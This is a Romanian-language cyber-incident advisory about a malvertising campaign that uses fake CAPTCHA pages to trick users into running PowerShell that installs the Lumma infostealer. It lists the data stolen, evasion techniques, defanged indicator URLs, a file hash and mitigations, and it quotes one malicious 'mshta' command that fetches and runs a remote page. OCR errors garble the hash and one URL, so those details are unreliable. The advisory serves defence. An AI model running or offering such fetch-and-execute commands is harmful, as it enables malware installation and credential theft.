Raport consolidat eveniment cibernetic

Lumma Infostealer
O noua campanie de malvertising cu CAPTCHA false faciliteaza distribuirea
Malware-ul

O campanie de malvertising pe scara larga a fost identificata, in care atacatorii utilizeaza pagini CAPTCHA false pentru a distribui
malware-ul Lumma Infostealer.

Aceasta campanie exploateaza retelele de publicitate online pentru a redirectiona utilizatorii catre pagini aparent legitime de verificare
CAPTCHA. In realitate, aceste pagini contrafacute ruleaza comenzi malitioase PowerShell pe sistemele victimelor, facilitand instalarea
malware-ului.
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Verify you are human ‘§

Please verify that you are a human to continue Fake Captcha
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Informatii suplimentare

« Malvertising: Atacatorii plaseazd anunturi malitioase pe retele de publicitate legitime, cum ar fi Monetag, o subsidiara a
PropellerAds. Aceste anunturi genereaza peste un milion de afisari zilnice pe mai mult de 3.000 de site-uri web.

+ Redirectionare citre CAPTCHA False: Cand utilizatorii fac clic pe aceste anunturi, sunt redirectionati catre pagini care imita
verificarile CAPTCHA legitime. Aceste pagini solicita utilizatorilor sd confirme ca nu sunt roboti, insa, in loc sa efectueze 0
verificare reald, 1i induc 1n eroare sa execute comenzi PowerShell malitioase.

% Executia Comenzilor Malitioase: Paginile false instruiesc utilizatorii sa copieze si sa execute comenzi PowerShell sub pretextul

verificarii umane, ceea ce duce la descarcarea si instalarea malware-ului Lumma Infostealer pe sistemele lor.

Vector de atac

Atacatorii utilizeaza platforme de tracking publicitar, precum BeMob, pentru a ascunde URL-urile malitioase, facand dificila

detectarea si blocarea campaniei de catre retelele de publicitate si solutiile de securitate. Fisierele malitioase sunt gazduite pe servicii

Analiza tehnica de stocare in cloud, cum ar fi : Oracle Cloud, Cloudflare R2 si Bunny CDN, adaugand un nivel suplimentar de legitimitate si dificultate
n detectare.

Lumma este dezvoltat in limbajul de programare C si functioneaza pe un model Malware-as-a-Service (MaaS). Acesta este
disponibil pentru achizitie pe forumurile de limba rusi incd din august 2022.
% Date vizate
Date din browser: parole, cookie-uri, informatii de completare automata.
Portofele de criptomonede: detalii si configuratii ale.
Informatii despre sistem si mediul de lucru.
Detalii tehnice
% Tehnici de evaziune
Executie Fira Fisiere (Fileless Execution): Lumma utilizeaza tehnici de executie fara fisiere, ruland payload-ul direct in
memorie, ceea ce reduce probabilitatea de a fi detectat de solutiile antivirus traditionale.
Injectare de Procese: Malware-ul foloseste tehnici precum ,,process hollowing” pentru a rula cod malitios in cadrul proceselor
legitime ale sistemului, evitdnd astfel masurile de securitate.
Utilizarea Serviciilor Legitime: Payload-urile sunt gazduite pe servicii de stocare cloud, precum Oracle Cloud, Cloudflare R2 si
Bunny CDN, pentru a adduga legitimitate si pentru a complica detectarea.




Artefacte asociate
activitatii
malitioase

Masuri de mitigare

Infrastructura de Comanda si Control (C2): Lumma comunica cu serverele C2 pentru a exfiltra datele colectate, pe care
preventiv le cripteaza, prin aceasta ingreunand analiza.

Domenii si URL-uri Suspecte
hxxps://get-verified.b-cdn[.]net/captcha-verify-v5.html
hxxps://human-check.b-cdn[.]net/verify-captcha-v7.html
hxxps://myapt67.s3.amazonaws[.]Jcom/human-verify-system.html

Comenzi PowerShell Malitioase: mshta hxxps://get-verified.b-cdn[.]net/captcha-verify-v5.html

Executabil Windows pentru Lumma Stealer
Hash SHA256: 07b127b0c351547fa8ec4cac6cd5fd68dc8916dc4557abh13909¢a95d53478a7d
Dimensiune Fisier: 184,056 bytes

1.

Educatia Utilizatorilor: Informati utilizatorii despre riscurile asociate cu executarea comenzilor din surse necunoscute si despre
pericolele paginilor CAPTCHA false.

Filtrarea Continutului Web: Implementati solutii de filtrare web pentru a bloca accesul la domenii si URL-uri cunoscute ca
fiind malitioase.

Monitorizarea Sistemelor: Utilizati solutii de detectare si raspuns la nivel de endpoint (EDR) pentru a identifica si bloca
executiile neautorizate de comenzi PowerShell.

Colaborare cu Retelele de Publicitate: Lucrati indeaproape cu retelele de publicitate pentru a identifica si elimina anunturile
malitioase din ecosistemul lor.

Resurse externe

https://securityonline.info/fake-captchas-deliver-lumma-infostealer-malware-in-massive-malvertising-campaign/



